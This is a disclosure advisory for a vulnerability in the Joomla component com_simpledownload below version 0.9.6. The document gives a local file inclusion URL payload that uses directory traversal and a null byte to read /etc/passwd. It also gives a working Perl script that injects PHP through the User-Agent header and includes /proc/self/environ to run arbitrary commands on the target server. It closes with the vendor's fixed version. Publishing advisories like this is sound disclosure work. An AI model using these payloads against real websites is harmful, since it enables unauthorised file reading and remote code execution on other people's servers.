A vulnerability has been found in the downloader component for Joomla. It
can be exploited in various ways - from sensitive information disclosure to
remote code execution.
Input passed to controller is not properly sanitized, allowing attacker to
inject php code
via Local File Inclusion combined with Directory Traversal
(/proc/self/environ method) and Null Byte Injection, leading to Remote Code
Execution.
--[Vendor]--
http://joomla.joelrowley.com/
--[Vulnerable Version]--
com_simpledownload <0.9.6
--[Impact]--
Local File Inclusion
Directory Traversal
Remote Code Execution
--[LFI Exploit]--
/index2.php?option=com_simpledownload&controller=[LFI]%00
--[LFI PoC]--
/index2.php?option=com_simpledownload&controller=
./../../../../../../../etc/passwd%00
--[RCE PoC]--
#!/usr/bin/perl -w
# quick'n'dirty PoC for RCE
# com_simpledownload <0.9.6
# by <sm0q>
# usage eg.:
# $./expl.pl -h localhost \
# -c "<?php passthru('uname -a > uname.txt'); ?>"
use LWP::UserAgent;
use Getopt::Std;
my %o=();
getopts("c:h:",\%o);
die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined
$o{c});
$o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/;
my
$url="/index2.php?option=com_simpledownload&controller=../../../../../..
/../../../../../../../../../../../proc/self/environ%00";
my $lwp = LWP::UserAgent->new;
print $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;
--[Solution]--
Thanks to quick response from Joel Rowley
fix released in version 0.9.6 - upgrade
as soon as possible from:
http://extensions.joomla.org/extensions/directory-a-documentation/downlo
ads/10717
--[EOF]--
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